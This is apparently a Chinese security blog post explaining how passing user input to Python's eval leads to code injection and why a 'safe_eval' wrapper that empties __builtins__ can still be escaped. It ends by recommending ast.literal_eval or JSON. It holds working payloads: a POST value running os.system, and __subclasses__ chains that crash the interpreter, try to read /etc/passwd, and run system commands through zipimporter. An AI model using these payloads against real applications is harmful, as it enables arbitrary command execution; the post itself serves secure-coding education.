Python eval的常见错误封装及利用原理


发布人:admin分类:网络安全浏览量:21发布时间:2017-12-12

最近在代码评审的过程,发现挺多错误使用eval导致代码注入的问题,比较典型的就是把eval当解析dict使用,有的就是简单的使用eval,有的就是错误的封装了eval,供全产品使用,这引出的问题更严重,这些都是血淋淋的教训,大家使用的时候多加注意。 

下面列举一个实际产品中的例子,详情见bug83055:

def remove(request, obj):
     query = query2dict(request.POST)
     eval(query['oper_type'])(query, customer_obj)

而query就是POST直接转换而来,是用户可直接控制的,假如用户在url参数中输入oper_type=__import__('os').system('sleep 5') 则可以执行命令sleep,当然也可以执行任意系统命令或者任意可执行代码,危害是显而易见的,那我们来看看eval到底是做什么的,以及如何做才安全?

1,做什么

简单来说就是执行一段表达式

>>> eval('2+2')
4
>>> eval("""{'name':'xiaoming','ip':'10.10.10.10'}""")
{'ip': '10.10.10.10', 'name': 'xiaoming'}
>>> eval("__import__('os').system('uname')", {})
Linux
0

从这三段代码来看,第一个很明显做计算用,第二个把string类型数据转换成python的数据类型,这里是dict,这也是咱们产品中常犯的错误。第三个就是坏小子会这么干,执行系统命令。 
eval 可接受三个参数,eval(source[, globals[, locals]]) -> value 
globals必须是路径,locals则必须是键值对,默认取系统globals和locals

2,不正确的封装

(1)下面我们来看一段咱们某个产品代码中的封装函数,见bug,或者网络上搜索排名比较高的代码,eg:

def safe_eval(eval_str):
    try:
        #加入命名空间
        safe_dict = {}
        safe_dict['True'] = True
        safe_dict['False'] = False
        return eval(eval_str,{'__builtins__':None},safe_dict)
    except Exception,e:
        traceback.print_exc()
        return ''

在这里__builtins__置为空了,所以像__import__这是内置变量就没有了,这个封装函数就安全了吗?下面我一步步道来:

>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError',

列表项

'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '_', 'debug', 'doc', 'import', 'name', 'package', 'abs', 'all', 'any', 'apply', 'basestring', 'bin', 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 'vars', 'xrange', 'zip']

从__builtins__可以看到其模块中有__import__,可以借助用来执行os的一些操作。如果置为空,再去执行eval函数呢,结果如下:

>>> eval("__import__('os').system('uname')", {'__builtins__':{}})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1, in <module>
NameError: name '__import__' is not defined

现在就是提示__import__未定义,不能成功执行了,看情况是安全了吧?答案当然是错的。 
比如执行如下:

>>> s = """
... (lambda fc=(
...     lambda n: [
...         c for c in
...             ().__class__.__bases__[0].__subclasses__()
...             if c.__name__ == n
...         ][0]
...     ):
...     fc("function")(
...         fc("code")(
...             0,0,0,0,"test",(),(),(),"","",0,""
...         ),{}
...     )()
... )()
... """
>>> eval(s, {'__builtins__':{}})
Segmentation fault (core dumped)

在这里用户定义了一段函数,这个函数调用,直接导致段错误 
下面这段代码则是退出解释器:

>>>
>>> s = """
... [
...     c for c in
...     ().__class__.__bases__[0].__subclasses__()
...     if c.__name__ == "Quitter"
... ][0](0)()
... """
>>> eval(s,{'__builtins__':{}})
 ~/tools/auto_judge $

初步理解一下整个过程:

>>> ().__class__.__bases__[0].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'Struct'>, <type 'cStringIO.StringO'>, <type 'cStringIO.StringI'>, <class 'configobj.InterpolationEngine'>, <class 'configobj.SimpleVal'>, <class 'configobj.InterpolationEngine'>, <class 'configobj.SimpleVal'>]

这句python代码的意思就是找tuple的class,再找它的基类,也就是object,再通过object找他的子类,具体的子类也如代码中的输出一样。从中可以看到了有file模块,zipimporter模块,是不是可以利用下呢?首先从file入手 
假如用户如果构造:

>>> s1 = """
... [
...     c for c in
...     ().__class__.__bases__[0].__subclasses__()
...     if c.__name__ == "file"
... ][0]("/etc/passwd").read()()
... """
>>> eval(s1,{'__builtins__':{}})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 6, in <module>
IOError: file() constructor not accessible in restricted mode

这个restrictected mode简单理解就是python解释器的沙盒,一些功能被限制了,比如说不能修改系统,不能使用一些系统函数,如file,详情见Restricted Execution Mode,那怎么去绕过呢?这时我们就想到了zipimporter了,假如引入的模块中引用了os模块,我们就可以像如下代码来利用。

>>> s2="""
... [x for x in ().__class__.__bases__[0].__subclasses__()
...    if x.__name__ == "zipimporter"][0](
...      "/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module(
...      "configobj").os.system("uname")
... """
>>> eval(s2,{'__builtins__':{}})
Linux
0

这就验证了刚才的safe_eval其实是不安全的。

3,如何正确使用

(1)使用ast.literal_eval 
(2)如果仅仅是将字符转为dict,可以使用json格式

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